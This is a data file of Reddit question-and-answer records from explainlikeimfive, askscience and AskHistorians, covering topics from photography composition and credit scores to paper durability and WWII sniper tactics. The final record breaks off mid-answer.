{"q_id": "1gjt3b", "title": "the rule of thirds, when it comes to photography.", "selftext": "Having a difficult time grasping the technique. Any help?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1gjt3b/eli5the_rule_of_thirds_when_it_comes_to/", "answers": {"a_id": ["cakvml3"], "score": [27], "text": ["Very simple.\n\nMentally draw a tic-tac-toe grid over your viewfinder. Place interesting objects or subjects at the places where the lines intersect. If the 'interesting thing' is a line itself, like a river, cloud formation, mountain range, etc, align the object with one of the lines.\n\nSome cameras will project the grid for you, or often DSLR cameras have autofocus points at the \"thirds\" locations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1r2jty", "title": "Are there any stories of Germanic tribesmen or \"vikings\" being recruited into the Roman Legion?", "selftext": "This thought ran through my head today and i was wondering if this ever happened.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1r2jty/are_there_any_stories_of_germanic_tribesmen_or/", "answers": {"a_id": ["cdix4o3", "cdj0p7z"], "score": [9, 2], "text": ["Well, your question makes the answer a bit hard. The Romans certainly recruited Germanic soldiers, sometimes with disastrous results like at [Teutoburg forest](_URL_0_) (Basically a German chieftain working for the Romans backstabbed them in an ambush, leading to one of Rome's worst defeats.). However, \"vikings\" as we know them didn't exist during the heyday of the roman legions. The Eastern Roman Empire, or Byzantine Empire's elite bodyguard unit known as the [Varangian Guard](_URL_1_) was almost entirely made of what people would consider vikings during the early middle ages though. It later began incorporating other ethnicities, but still had a pretty Scandinavian lean.", "In the late Roman empire a lot of the legionaires would have non-Roman roots, which would include Germanic. And as the Empire got into trouble they accepted the settlement of some tribes wholesale in the empire as semi-autonomous \"foederati\" who nominally pledged their loyalty to the Empire while retaining their own organization.\n\nEven one of the best known \"barbarian invaders\" Alaric, king of the Visigoths, was fighting for the Romans as a foederatus before sacking Rome. Indeed even that sack of Rome officially was in support of a Roman emperor, though in practice that emperor was Alaric's puppet. The ideal of the Roman empire remained with the Germanic tribes though, which is why the coronation of Charlemagne was seen in a way as a genuine recreation of the Roman Empire in the west, during a time in which the Eastern Roman Empire indeed still existed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Battle_of_the_Teutoburg_Forest", "http://en.wikipedia.org/wiki/Varangian_guard"], []]}
{"q_id": "9w45mz", "title": "the concept of 'building' credit.", "selftext": "I live in a developing country where there doesn't exist any issue regarding good or bad credit, and the idea of building credit is foreign to me. I'd love a quick explanation.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9w45mz/eli5_the_concept_of_building_credit/", "answers": {"a_id": ["e9hcquf", "e9hcvwe", "e9hcwcd", "e9hmybr", "e9hnp7f", "e9ig4dr"], "score": [4, 4, 3, 2, 3, 2], "text": ["Basically, in the perspective of obtaining favorable terms on a new line of credit, having a history of making payments on time and not taking risky behavior is better than having a blank credit history or one with recent missed payments, new lines of credits, etc.", "Let\u2019s say you apply for a credit card, in which you make purchases on the promise that you\u2019ll repay the cost of the items purchased, plus interest. By paying off that debt, your \u201ccredit score\u201d rises- because you\u2019ve shown you\u2019re responsible and repay debts. Conversely, if you miss too many payments or default altogether, your credit score goes down, indicating an inability to pay back outstanding debts. Having a good credit score is important to obtain low interest rates on large purchases such as a car loan or home loan. ", "Credit scores tell a company (like a bank or credit card company or other private lender) how trustworthy you are with other peoples' money. So basically they just look at stuff like how much money you put on your credit cards, if you pay your debts off on time, how many accounts (loans, cards, etc.) you manage at once, etc. As you show that you are responsible with your cards and accounts, your credit score goes up. The score will go down a little bit if you take on a new debt, but it usually isn't a very significant amount.\n\n\nWith a higher credit score you get access to better credit card offers and better loan offers in general. For instance, someone with a low credit score might be able to get a loan to replace their garage door with 5% interest rate, but someone with a good credit score might be able to get that same loan without any interest for 12 months (as long as it's paid off on time).\n\nIt usually takes a long time to build up credit. ", "You borrow money and always pay it back?  Congratulations, you have a good credit rating.  \n\nThe society rewards this behaviour (easier to get a rental, etc) because it proves you are capable of handling money responsibly, despite not having enough money personally.\n\nThis is good because people who handle money responsibly tend to feed their growing wealth back into their communities.", "Building credit = Building a good reputation\n\nThe credit people learn that you are someone who can be counted on to pay back money you borrow.\n\nPeople who you ask to borrow money form ask the credit people \"is this person trustworthy?  What's their reputation\" and the credit people say \"they've got a good reputation\" so the other person lends you money.\n\nHow do you build this reputation?  By borrowing money and paying it back!  If you've done it 10 times without problem people believe you'll do it the 11th as well.", "Banks want to see a track record of responsible borrowing before making more/bigger loans to you, so before you buy something big like a house it\u2019s best to take smaller loans like credit cards, financing larger purchases like furniture or appliances, car loans, to keep growing size and variety of loans you\u2019ve successfully paid back over time. This will help build your credit report and credit score, making approval more likely and at a lower interest rate.\n\nThink of it this way: if two people each come to you and ask for $200k to buy a house, would you me more likely to lend to the guy who has never borrowed money from a bank before, or the guy who has had a credit card for a decade and only has a $1000 balance despite $10,000 limit, and has financed two cars that he paid off without ever missing a payment, and who is halfway through paying back a $1500 store line of credit for a washer/dryer set?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "f2z40", "title": "Why is more work done in an adiabatic compression than an isothermal compression?", "selftext": "I suspect it has something to do with the first law of thermodynamics: dQ = dW + dU but I'm so blind to this, can you help?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/f2z40/why_is_more_work_done_in_an_adiabatic_compression/", "answers": {"a_id": ["c1cvz29"], "score": [2], "text": ["Adiabatic: 0 = dW + dU      --- >      dW = -dU\n\nIsothermal: dQ = dW + 0    --- >      dW =  dQ\n\n\n\n|dU|  >  dQ\n\n\n\nSo, is it simply that the change in internal energy during an adiabatic compression is greater than the heat flow in an isothermal compression?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1kqkul", "title": "why are people against an eye for an eye?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1kqkul/eli5why_are_people_against_an_eye_for_an_eye/", "answers": {"a_id": ["cbrll7b", "cbrlm1s", "cbrlpy9"], "score": [8, 2, 3], "text": ["It's not practical or just.  If you break my toy and I break yours then now we have two broken toys.  A better approach is that if you break my toy then you replace it.\n\nLikewise, if you cut off my arm and I cut off yours then we're both screwed and I'm still down one arm.  Better if you compensate me somehow than me cutting off your arm.\n\nPlus, a lot of times it's not so easy to say who deserves to have their \"eye\" taken, like if multiple people are at fault.", "You mean... kill a murderer? Steal something from a thief? -Or maybe cut away his hand? \n\nMhh.. Don't know, but I think the west thought that it would be more ethical another way. Don't mess around with their bodys, but with their brain and emotions, so that they will never do things again.\n\nBut to that sentence: eye to eye... it's more meant like: If you burn my care, I don't help you, when your car burns. Or if you hurt me, I won't help you, if you will get hurt.", "There's a saying: \"An eye for an eye makes the whole world blind.\"\n\nIn any case, some Biblical scholars will tell you \"an eye for an eye\" doesn't mean \"punish the criminal by inflicting his own crime on him\" but rather \"let the punishment fit the crime\". So a petty thief might be fined whereas a grand larcenist might get a long jail sentence."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1gli8w", "title": "Why does auditory memory last longer in our minds (or take longer to process) than the memory of our other senses?", "selftext": "Correct me if I'm wrong, but I'm fairly certain that within memory, there's 3 types - long term, short term, and sensory. I also know that within sensory there's Iconic (for visual perception/sight), Echoic (for hearing), and Haptic memory (for touch).\n\nWhat I'm wondering about is why Echoic memory seems to last a couple of seconds, while Iconic and Haptic only lasts for a split second. I've learned that when I say something to someone and that person didn't hear me, how I should wait about 3 or 4 seconds because it usually \"clicks\" in their mind as to what I said. \n\nI'm guessing it's just due to how quick (or slow) that area processes the information but then I'm not even sure why it's so slow to begin with....any insight would be appreciated!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1gli8w/why_does_auditory_memory_last_longer_in_our_minds/", "answers": {"a_id": ["calk4yb", "calknhy"], "score": [2, 2], "text": ["To put you in the right direction, you might be interested to read about the auditory processing loop.  Here's a oft-referenced study: _URL_0_\n\nThe delay effect you mentioned is probably related to the [cocktail-party effect](_URL_1_).  ", "I'm not sure if it has a basic evolutionary explaination, but it's actually a very simple idea. I havent found any source that can explain it in good detail though to back me up here. It's just my own opinion on this matter. I'm a neurobiology student, for reference.\n\nIt is true indeed that echoic memory is stored longer than iconic memory (vision) or haptic memory (touch). I believe that olfactoric memory and taste are not considered sensual memories but rather molecular recognition, but please don't quote me on that, I haven't looked into that as a matter of fact.\n\nOn to your question:\nBasically, while *seeing something* or *touching something* is a repeatable and reoccuring event (speaking in terms of short intervals), *hearing* is a single occuring event.\nIt was probably an evolutionary benefit to keep and process the auditory input better.\nTo stretch that idea a bit further, if we'd only see with 1 FPS or less, we'd probably take longer to process iconic memory as well since most fast movements would be just single events rather than a matter of something observeable.\nYou could argue that sounds can be repetitive as well but compared to something you touch or something you see, the stuff you hear passes by much quicker, as it is just a few soundwaves of information (compared to the many signals we get through our eyes or touch sensors).\n\nE: spell check and format"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www2.psychology.uiowa.edu/faculty/gupta/pdf/gupta.cogsci93.isr.pdf", "http://en.wikipedia.org/wiki/Cocktail_party_effect"], []]}
{"q_id": "2cf1zf", "title": "WW2-94. Any successful Invasion to democracy examples. What lead to the success?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2cf1zf/ww294_any_successful_invasion_to_democracy/", "answers": {"a_id": ["cjewkir", "cjewv9n"], "score": [3, 3], "text": ["The end of apartheid in Zimbabwe comes to mind, but that's a pretty poor example considering how things turned out since", "Japan and West Germany.  \n\nIngredients for success:\n\n* Leaving much of the bureaucracy intact\n* The Soviet threat that pretty much forced the Germans and Japanese to cast their lot with the US\n* I suppose the Marshall Plan helped too"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1cpjqb", "title": "how does captionbot work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1cpjqb/eli5_how_does_captionbot_work/", "answers": {"a_id": ["c9iy55m"], "score": [7], "text": ["The same way any handwriting recognition software or image matching software works (matching the pattern against a known image). The only difference is that with caption bot, there's basically only one font, so it's rather simple to match the fonts in the images against the known font."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8d43i5", "title": "What does this chemical notation mean?", "selftext": "I was recently in the Natural History Museum in London, where there is a wonderful geology room filled with hundreds of rocks and minerals. Looking through these I stumbled upon a chunk of Empressite which was tagged with the chemical formula:\n\nAg^(5-x)Te^3\n\nWhat does the (5-x) mean?\n\n(Apologies for the use of superscript - I have no idea how to subscript.)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8d43i5/what_does_this_chemical_notation_mean/", "answers": {"a_id": ["dxk7sao"], "score": [3], "text": ["It means that in the crystal structure of this mineral, the chemical formula can vary a little. It isn\u2019t a perfect 5:3 ratio of these two elements and it isn\u2019t always the same amount.\n\nIt is 5-x:3 where x is between 0 and 0.5.\n\nWhen we simplify chemical formulas, this is a way to acknowledge that it isn\u2019t always the same exact ratio."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "au6mny", "title": "how was soviet russia able to catch up to the west in the 21st century (post-tsarist regime)?", "selftext": "Russia, under the Tsarist regime was highly under modernised. It was a backwards nation, and was highly inferior to the industrial economies of Western Europe.\n\nBut despite this, after the end of the Romanov empire in 1917, by the end of WWII, less than thirty years later, Russia (USSR) was already competing with the US, especially in military power.\n\nHow were they able to catch up in such a short amount of time?\n\nEDIT: 20th Century, not 21st Century. Stupid me.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/au6mny/eli5_how_was_soviet_russia_able_to_catch_up_to/", "answers": {"a_id": ["eh5ycw8", "eh5yhi7", "eh5zr47", "eh5zv9g", "eh618mh", "eh6n2as"], "score": [7, 3, 34, 11, 5, 4], "text": ["Do you mean in the 20th century?\n\nThey [actually did quite poorly](_URL_0_) but they simply devoted a huge portion of their national economy to the military.", "Stolen German designs since they had most of Germany before the allies got there and also a seemingly natural supply of intelligent designers and engineers(ignoring the obvious soviet gulaging of anyone for no reason at all, take away all the people gulaged and killed by their competition. Take those factors away they probably could have been farther ahead).", "It didn't really.\n\nWhile it might have looked like the Soviet union was on par with the west from the outside this was in part because they were trying really hard to look that way. They focused on prestige projects, things of military value and major population centers like Moscow. Much of the area remained at a level that fell more and more behind its western counterparts as time went by.", "From the technological point of view, Catching is easier than leading. Reverse engineering and copying its a unique direction, when you are inventing you put a lot of resources in things that will never take off. ", "1. Russia, under the Tsarist regime was not highly under modernised. It was relatively  under modernised. China looked worse these days.\n2. Soviet Russia was not able to catch up to the West. They succeeded  in several important areas, like weapons and later space.\n3. US helped a lot. During world financial crisis, known as Great Depression, the Soviet Russia bought lots of manufacturing equipment form US and Germany.\n4. Espionage. In area I know about, almost all electronic tubes, later ICs, computers, were \"copied\" from the western samples. \n\n & #x200B;", "Lenin produced the NEP (New Economic Policy) which initially helped the economy after the Communists took power and after the civil war. However it was criticised for being too similar to capitalism so later under Stalin he implemented a highly centralised command economy and the Five Year Plans\n\nThese plans set high targets for heavy goods industries like coal, steel, oil and iron. In the period 1926 (beginning of first plan) to 1941 (end of third year plan) there was about a 17% increase in heavy goods. Although it definitely didn't catch up to the west there was a big industrialisation movement. Growth in industries was unbalanced and there was actually a decline in agriculture due to the requisition of grain for trade and collectvisation (combining private farms in to one big communal one). Also famine caused decline.\n\nWith the growth of Hitler in the 30s there was a big focus on arms production in the plans which halted consumer goods production. Although the USSR didnt catch up to the west, it certainly quickly increased its personal industries compared to how backwards it was before. \n\nStalin focused on quantity over quality and focused on big propaganda projects like the White Sea Canal. It utilised 180,000 prisoners and 10,000 died in the making, but it was useless as the depth Was reduced from 22 feet to 12 feet. This is an example of his quantity over quality priority. \n\nHopefully this helps a little. Was mainly Stalin's industrialisation but the US always remained biggest. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://voxeu.org/article/soviet-economy-1917-1991-its-life-and-afterlife"], [], [], [], [], []]}
{"q_id": "1doem7", "title": "How long will it take for the paper in a book to deteriorate so much as to make the book unusable?", "selftext": "Assuming that in a month's time I were to buy a book that's being printed today, I were to read it once, and then I were to place it on my bookshelf for years to come \u2014 how long is that book expected to last, and how precisely will it deteriorate?\n\nI imagine the durability of a book will depend on the kind of paper as well as many other factors, but let's take an average book printed on average paper using average ink.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1doem7/how_long_will_it_take_for_the_paper_in_a_book_to/", "answers": {"a_id": ["c9seeh4"], "score": [2], "text": ["Some of the Dead Sea Scrolls are [written on papyrus,](_URL_4_) and have been dated to an age of [about 2,000 years,](_URL_2_) give or take, depending upon the methods used. The [Ebers Papyrus](_URL_3_) goes back another 1500 years from that. The composition of papyrus (mostly cellulose and lignin) is not substantially different than that of modern paper.\n\nWhile there have been some errors made in the past- paper that was not stabilized with respect to pH, resulting in acidification and marked damage on the shelf- paper these days is quite a science, and most books are printed on a decent grade of paper. Cheaper stuff is going to degrade faster, but [archival paper](_URL_1_) that has little or no lignin or sulfur, and a \"correct\" pH that is neutral or slightly alkaline should last 500-1000 years (see reference 8 for the reference to the standard).\n\nOf course, books printed over a thousand years ago still exist- and even papyri with much higher lignin concentrations than would ever be acceptable today- and with proper storage and treatment there's no reason to believe they might not be around for another thousand years.\n\nOne supposes the binding in modern books is the limiting factor: the cover falls apart, the spine falls apart, that sort of thing. \"Perfect\" binding consists of [gluing the spine together.](_URL_0_) Stitching and sewing are the only two techniques that we really know are going to last a thousand years. Even then- the pages fall out; so what? So long as they are readable, and can be sewn back in later- not a huge deal. Many books of value are rebound throughout their lifetime, and so long as the cover and spine remain sacrificial in order to preserve the contents, so be it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Perfect_binding#Thermally_activated_binding", "http://en.wikipedia.org/wiki/Acid-free_paper", "http://en.wikipedia.org/wiki/Dead_Sea_Scrolls#Age", "http://en.wikipedia.org/wiki/Ebers_Papyrus", "http://en.wikipedia.org/wiki/Papyrus"]]}
{"q_id": "a6j7bx", "title": "why is it easier to learn and remember 'unimportant' information without any effort, like names and locations of an entire map in a pc game, but difficult to learn and remember important information like schoolwork even while putting in effort to learn?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a6j7bx/eli5_why_is_it_easier_to_learn_and_remember/", "answers": {"a_id": ["ebv9yy9", "ebva3oc", "ebvaxq3", "ebvb2tg"], "score": [7, 5, 3, 2], "text": ["Much of it may be repitition.  Think of how often you look at the map in a game you play regularly and how many other connections you make to the places while playing.  You are immersed in it much more than you realize because it is fun.\n\nWhen trying to study material you really have no interest in, there isnt much else helping you connect everything and you only spend a few hours on any given specific topic usually.  It just feels like a lot more because it is work and not fun.  \n\nYou may spend time during the day thinking about the game because it is something you like.  Planning your next play session, thinking about tactics, etc.  But we usually switch off the boring stuff as soon as we are done studying.", "Could be your interests, I know for myself personally I find it much easier to retain information on topics that I'm interested in: videogames are a big one, but school-wise computer science just sticks in my brain. Statistics though? I'm hopeless. ", "Interest. If something is interesting to you, there are more of your senses being stimulated while learning it, which associates the memory with stimuli, making it easier to recall later.", "I think it might be *using* the information to solve a problem that might make a difference.  If I'm playing an RPG game and I need to find something, I'm looking for a path from one place to another and using that information.  If I'm memorizing a map in school, I'm not using that information in a problem solving way.  I'm just trying to remember where a city I've never been to is on a map of a state I've never been to."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3duogd", "title": "why do some american stores have condoms on shelves with other pharmaceutical products, while others keep them behind the counter with cigarettes and such?", "selftext": "I've just been to two gas stations, one of which had them out for anyone to pick out. The other had them behind the cashier, so you'd have to ask for them like you would with the tobacco products. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3duogd/eli5_why_do_some_american_stores_have_condoms_on/", "answers": {"a_id": ["ct8s8v2", "ct8s9jp", "ct8s9q1", "ct8z9yo"], "score": [7, 3, 3, 2], "text": ["The ones that have them behind the counter generally have them there because condoms are items that often get shoplifted. The ones that don't have them behind the counter might not have as much issue with shoplifting in that location, or they have other measures (cameras or how the stores is laid out) that help them catch shoplifters. ", "Honestly I think it's just dependant on the area/particular store. If it's higher crime them they'll put stuff behind the counter or keep the shelves locked. I've seen it both ways (and especially with replacement razor heads) and it's varied from place to place.", "Some shops don't like having anything risqu\u00e9 on the shelves. Same goes for pipes; some gas stations have them proudly displayed while others have them locked away under the desk.\n\nA lot of places (more so in the south) even have all their tobacco out on the shelves", "Because some neighborhoods have nice residents who want patronize a business and some neighborhoods are a collection of various criminals who would steal anything not bolted down and graffiti everything else.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1b49hi", "title": "Does muscle make you more resistant to piercing wounds (shot, stabbed)? Does fat?", "selftext": "Hypothetically, if we lined up a muscular person, an obese person, and a typical person, and had them shot in the same place, let's say abdomen, who would suffer less damage/trauma? Would it be different if they were stabbed?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1b49hi/does_muscle_make_you_more_resistant_to_piercing/", "answers": {"a_id": ["c93gnnh", "c93guyz", "c93nmdt", "c93nxmv", "c93oy1l", "c93piqp", "c93qfm5"], "score": [133, 51, 2, 21, 24, 14, 3], "text": ["Doesn't entirely answer the question, but the MythBusters kind of did it:\n\n_URL_0_\n\n**Human fat is bulletproof.**\n\nbusted\n\nDetermining that the largest layer of fat around a human (Walter Hudson) would measure 16 inches, Adam and Jamie placed that amount of human-temperature cow fat in front of the dummy. The bullet made it all the way through the fat easily.\n\n**Human muscle is bulletproof.**\n\nbusted\n\nUsing the measurements of a man with 3-inch pectorals and 11-inch biceps, Adam and Jamie placed 14 inches of cow muscle in front of the dummy (assuming the man placed his bicep over his pectoral and the bullet passed through them both). The muscle failed to stop the bullet.\n", "With being shot, i'd say there would probably be no noticeable difference. There is something to consider about placement of the wound though. While you can make your abs larger, really the hypertrophy there is limited compared to say, your chest or arms. If you were to get shot in the chest while guarding, having large amounts of muscle and bone to go through might help some. \n\nas far as stabbing goes, i'd say it would have to depend on how sharp your knife is and how long it is. If you have a really obese person, and a regular pocket knife, there's a good chance that it might just hit fat and maybe some muscle rather than damaging any organs. If the knife isn't very sharp, then i'd give the edge to the muscular person, because tense muscle is not the easiest thing to cut through. If its a razor, probably only the length of the knife and the width of the fat would make much of a difference. \n\ntldr; Fat is easier to a lot cut through than muscle, but depending on the length and sharpness of the blade the damage may favor one or the other. Getting shot is bad news either way if you hit the abdomen. ", "Anyone have any data on penetration of bird/buck shot on human flesh?\n\nBiznatch has shown that bullets (which bullets were used isn't mentioned) can easily penetrate fat and muscle.\n\nI want to know if a shotgun could do it.", "I think being fat would greatly help in the majority of knife wounds.\n\nMy brother is a doctor in the army and spent some time training in Texas.  He told me that the hospital had seen tons of knife stabbing cases where the victim had a large enough layer of fat that the knife failed to penetrate any organs or anything vital.  A quick sterilization and stitch up and they were good to go.\n\nI believe they called it \"San Antonio Body Armor.\"", "I think the most important thing for a stab or gunshot is cardiovascular health in general, not body mass or composition. In the military, we're taught that increases in cardio health directly relate to a person's ability to survive these types of traumas, as the heart does a better job of resisting arrest or arrhythmia. ", "Gladiators would eat a lot to build up a layer of fat to protect them from wounds that would damage their nerves or blood vessels ([Source](_URL_0_)). No idea if it how effective it would be though. ", "Theoretically the denser material (muscle) would be a better defence against a piercing wound as it would slow the bullet/knife more than the less dense material.\n\nThere is evidence that gladiators used to pile on fat before a match to provide some protection, but this was largely because damage to fatty tissue was far less serious compared to damage directly to the muscle tissue (and cuts were far more the norm than stabs, as it was about showmanship after all).\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://mythbustersresults.com/coffin-punch"], [], [], [], [], ["http://archive.archaeology.org/0811/abstracts/gladiator.html"], []]}
{"q_id": "1t7iy4", "title": "If exercise increases metabolism and increased metabolism leads to a shortening of telomeres, does exercise accelerate aging?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1t7iy4/if_exercise_increases_metabolism_and_increased/", "answers": {"a_id": ["ce5eqe7", "ce5i44n"], "score": [9, 2], "text": ["I am unaware of any studies suggesting that there is a correlation between shortening of telomeres and elevated metabolism. Maybe you have a link to a study or article?\n\nAll literature I have ever read suggests that exercise slows aging. Both diet and exercise have been shown to significantly decrease the rate at which telomeres ends are shortened.", "One thing I have learned from this is that it always isnt straight forward.  Look at Niacin for an example.  They know that taking niacin raises HDL and lowers cholesterol through the pathway.  Raising HDL and lowering LDL should help with heart disease.  But niacin didn't help and actually hurt.  Also look at B12.  It was all the rage 5 years ago, but they could out it didn't help.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "408oqp", "title": "why does the nfl claim that \"pictures, descriptions, and accounts of the game without the nfl's consent is prohibited\" when legally they cannot restrict that?", "selftext": "\"This telecast is copyrighted by the NFL for the private use of our audience. Any other use of this telecast or of any pictures, descriptions, or accounts of the game without the NFL's consent, is prohibited.\"", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/408oqp/eli5_why_does_the_nfl_claim_that_pictures/", "answers": {"a_id": ["cysd0sh", "cysdkbw", "cyseeo1", "cyslo88"], "score": [59, 339, 31, 2], "text": ["If I remember correctly, they can't legally restrict some of those things (like certain descriptions). But they have so much money that they can effectively restrict those things. You do something like live blog a game and you will be sued. I have no idea if you could win or not.", "It's the same idea as a liability waiver. If you believe that you aren't allowed to take some action, then you are less likely to sue.\n\nLiability waivers may or may not hold up in court, but businesses that use them know that making you believe that you can't sue them is more effective than actually using the waiver in court.\n\nThe same is true for the NFL. They may or may not have the power to enforce those rules, but by so boldly forbidding those actions, they make everyone believe that they do have that ability, reducing the pirating of their games.", "The real purpose of that announcement to prevent people who misuse the broadcast from claiming ignorance as a defense.  They have the exact same legal ownership whether they make that announcement or not.\n\nThey are broadly saying, \"we have a copyright on this stuff, and if you want to copy any of it, you better have your legal act together, because 'i didn't know better' won't be an excuse because we just told you\".  \n\nAnd all of those things are legal protected to some extent.\n\nDescriptions or accounts refers to live, real time play by play coverage.  A radio station that didn't have the broadcast right could not watch the game on TV and rely it as it happened.\n", "I think most people are misunderstanding what this means. It *doesn't* restrict you from watching the game (or the broadcast) and telling your buddy or writing a blog post about it. It *does* restrict you though from rebroadcasting the game, posting highlights from the broadcast, or using audio clips--unless you have permission to do so. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "y1pxn", "title": "the ryan plan", "selftext": "Paul Ryan's budget plan. What does it entail?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/y1pxn/eli5_the_ryan_plan/", "answers": {"a_id": ["c5rj1xq", "c5rj9uk", "c5rjwfv"], "score": [4, 5, 3], "text": ["He's actually pretty good at explaining it like we're 5, with graphs and everything:\n\n[Video 1](_URL_0_)\n\n[Video 2](_URL_1_)\n\n[Video 3](_URL_2_)\n\n", "[Ask your Ryan questions here!](_URL_0_)", "All I learned from his budget explanations is that there are these \"computer programs\" that show how he won't make the graph go higher."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=Xwv5EbxXSmE", "https://www.youtube.com/watch?v=DJIC7kEq6kw", "http://www.youtube.com/watch?v=ZSCwiXl9uO0&amp;feature=colike"], ["http://www.reddit.com/r/explainlikeimfive/comments/y1s1f/official_paul_ryan_thread/"], []]}
{"q_id": "1uyftb", "title": "In several WWII films and TV series, snipers stay behind in abandoned locations to kill occupying forces. These snipers were always killed after inflicting a few deaths. (1) Was this a common tactic on all sides? (2) How did they get snipers to engage in such suicidal behavior?", "selftext": "I suppose there are three questions:\n\n* Do films and TV series accurately portray the plight of snipers during WWII?\n* As most WWII depictions that I've seen are from an Allied POV, it's usually German snipers that are left behind in towns occupied by the Allies. Was this a common tactic for Allied snipers as well?\n* If a sniper is left alone in a town occupied by hundreds or thousands of enemy soldiers, he will surely meet his demise if he starts shooting. How did they get snipers to engage in such suicidal behavior?\n\nA fourth slightly related question:\n\n* Were captured snipers more likely to be poorly treated by their captors than other POWs? [This book](_URL_0_) claims that soldiers \"have a special hatred for enemy snipers\" and that they might consequently be treated less humanely.\n\nedit: for an example, see [this scene from Band of Brothers](_URL_1_).", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1uyftb/in_several_wwii_films_and_tv_series_snipers_stay/", "answers": {"a_id": ["cemzk32", "cen0fqq", "cen0m2i", "cen150l", "cen35hp", "cen47bh", "cen4jbc", "cenhske"], "score": [64, 11, 1033, 33, 13, 8, 28, 7], "text": ["Watching BoB recently myself I was wondering the same thing. As another question, would the snipers instead surrender instead of essentially suiciding? How would their COs know if they did or were captured? ", "In that scene, I remember them narrating it as if it were a real, specific event \"We lost X men at Foy, and if it weren't for the sharpshooting of Shifty Powers and the bravery of ~~Captain~~ Sergeant Lipton and Lieutenant Speirs we would've lost many more\" or something like that.\n\nAnybody have a copy of the Ambrose book to check if that part is actually reported to have happened as depicted in the miniseries?", "[This link](_URL_0_) quotes from the U.S. Army field manual on sniper tactics. I'm extrapolating from this part of the sniper's mission statement (emphasis mine): \"... the sniper creates casualties among enemy troops, **slows enemy movement**, frightens enemy soldiers, lowers morale, and adds confusion to their operations.\" Leaving a sniper behind would accomplish the goal of slowing enemy movement. If you are withdrawing from an area, it would be to your advantage to slow down your pursuers. War movie depictions of combat aren't realistic, they're dramatic entertainment. In real combat, no soldier wants to die, and incoming sniper fire would cause advancing troops to halt their advance and seek cover and concealment while they locate and remove the threat, which could take hours or longer.\n\nAnother quote from the manual: \"A sniper team must never become decisively engaged with the enemy.\" The manual then goes on to describe how the sniper team should disengage from the enemy and avoid prolonged combat. I interpret this to mean the famous \"shoot and scoot\". If the objective is to delay enemy troops, fix them in position for a larger attack, and lower morale, then just a few shots/hits are all that's needed. I suspect it's even better tactically if the sniper withdraws before being located - it leave the enemy wondering where and when the next shots will come from. Locating and eliminating the sniper permits the sniper's adversaries to regain mobility and confidence, and thus a sniper \"suicide mission\" is probably less effective than if the sniper makes his kills, then withdraws to fight again later.\n\n\n\n", " >  Do films and TV series accurately portray the plight of snipers during WWII?\n\nI'd say they do. Certainly they do not go very much in depth, but what they show(there's a great amount of artistic licensing but still), seems to be fairly accurate. \"Enemy at the Gates\" is the best movie(I've seen) which deals with the issue of sniping in Stalingrad and I'd say it's pretty accurate. \n\n\n >  As most WWII depictions that I've seen are from an Allied POV, it's usually German snipers that are left behind in towns occupied by the Allies. Was this a common tactic for Allied snipers as well?\n\nNot sure about them being left behind in occupied towns, but it is historically accurate that snipers would often operate behind enemy lines. I guess sometimes they would be left behind enemy lines, sometimes they would crawl for entire kilometers to get behind enemy lines. In the jungles of the Pacific Islands Japanese snipers were notorious for tying themselves to the higher branches of trees and sit quietly while the enemy was passing them by and then they would shoot the American soldiers from behind. \n\n**Now regarding German snipers:** they saw plenty of action after D-Day, in the French country side so it is likely they did adopt that tactic. \n\n**Regarding Allied snipers:** There was plenty of sniper activity after the collapse of France and the retreat to Dunkirk. What you are describing is a defensive tactic and after D-Day the Allies were on the offensive, so I would presume no. [with the exception of the Soviets on the Eastern front. The ruined city of Stalingrad was a perfect location for snipers. There were Russian snipers peppered throughout the city that made movement about the city difficult for the Germans. \n\n\n >  If 